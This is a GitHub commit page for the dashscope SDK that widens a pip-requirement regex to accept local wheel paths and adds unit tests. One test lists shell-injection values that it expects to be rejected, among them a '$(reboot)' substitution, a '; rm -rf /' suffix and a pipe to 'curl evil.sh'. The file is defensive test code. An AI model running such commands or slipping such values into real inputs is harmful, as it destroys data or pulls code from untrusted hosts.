Skip to content

Commit eff4185

Browse files
author
luk384090-cloud
committed
fix(reinforcement): allow local wheel paths in pip requirement tokens
- Extend regex to accept local wheel/sdist paths with / and + characters - Document safe characters for SDK_PACKAGE shell word-splitting - Add tests allowing relative and absolute local wheel paths as fc_pypi_lib - Verify multiple space-separated wheel paths round-trip unchanged - Ensure shell injection attempts in SDK_PACKAGE are still rejected with InputError
1 parent b537cf0 commit eff4185

2 files changed

Lines changed: 60 additions & 2 deletions

File tree

‎dashscope/applications/finetune/reinforcement/common/utils.py‎

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -216,9 +216,18 @@ def check_file(file: str) -> None:
216216
)
217217
_FUNC_TYPE_RE = re.compile(r"^[a-z_]+$")
218218
_PYPI_REPO_RE = re.compile(r"^https?://[^\s'\"`$\\]+/?$")
219-
# A single pip requirement token, e.g. "dashscope" or "dashscope==1.2.3".
219+
# A single pip requirement token: either a named requirement
220+
# ("dashscope", "dashscope==1.2.3", "pkg[extra]==1.0") or a local
221+
# wheel/sdist path ("./dashscope-2.0.3-py3-none-any.whl",
222+
# "/abs/x.whl", "../x.whl", "torch-1.0.0+cpu-...whl"). FC_PYPI_LIB is
223+
# documented as a space-separated list of wheel paths, so "/" and "+"
224+
# are allowed. Every permitted character is a subset of shlex.quote's
225+
# safe set, so a token survives emission unchanged and still word-splits
226+
# correctly in the script's `local_packages=($SDK_PACKAGE)`. Shell
227+
# metacharacters ($ ` ; | & ( ) < > quotes, backslash, glob *, and ~
228+
# which shlex.quote would wrap and break word-splitting) stay excluded.
220229
_PIP_REQUIREMENT_RE = re.compile(
221-
r"^[A-Za-z0-9._\-]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$",
230+
r"^[A-Za-z0-9._\-/+]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$",
222231
)
223232

224233

‎tests/legacy_1x/unit/test_agentic_rl_utils.py‎

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,55 @@ def test_shell_injection_values_are_rejected(self):
128128
classpath="module.path.Processor",
129129
)
130130

131+
def test_local_wheel_path_sdk_package_is_accepted(self):
132+
"""FC_PYPI_LIB is documented as a space-separated list of wheel
133+
paths, so relative/absolute local paths must reach the script
134+
intact instead of being rejected by the whitelist."""
135+
script = generate_agentic_script(
136+
fc_pypi_lib="./dashscope-2.0.3-py3-none-any.whl",
137+
fc_pypi_repo="https://pypi.org/simple",
138+
requirements_path="reqs.txt",
139+
func_type="rollout",
140+
classpath="module.path.Processor",
141+
)
142+
assert 'SDK_PACKAGE="./dashscope-2.0.3-py3-none-any.whl"' in script
143+
144+
# Absolute paths, "+local" version tags and multiple space-separated
145+
# wheel paths all round-trip unchanged (their characters are a subset
146+
# of shlex.quote's safe set, so word-splitting still works).
147+
multi = generate_agentic_script(
148+
fc_pypi_lib="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl",
149+
fc_pypi_repo="https://pypi.org/simple",
150+
requirements_path="reqs.txt",
151+
func_type="reward",
152+
classpath="module.path.Processor",
153+
)
154+
assert (
155+
'SDK_PACKAGE="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl"'
156+
in multi
157+
)
158+
159+
def test_sdk_package_injection_still_rejected(self):
160+
"""Allowing local paths must not re-open shell injection through
161+
SDK_PACKAGE: command substitution, globs and separators are still
162+
rejected before anything reaches the generated script."""
163+
malicious = [
164+
"dashscope$(reboot)",
165+
"./dashscope-2.0.3-py3-none-any.whl; rm -rf /",
166+
"./*.whl",
167+
"./x.whl`id`",
168+
"| curl evil.sh",
169+
]
170+
for fc_pypi_lib in malicious:
171+
with pytest.raises(InputError):
172+
generate_agentic_script(
173+
fc_pypi_lib=fc_pypi_lib,
174+
fc_pypi_repo="https://pypi.org/simple",
175+
requirements_path="reqs.txt",
176+
func_type="reward",
177+
classpath="module.path.Processor",
178+
)
179+
131180
def test_requirements_path_is_shell_quoted(self):
132181
"""A requirements path with spaces stays a single shell literal."""
133182
script = generate_agentic_script(

0 commit comments

Comments
 (0)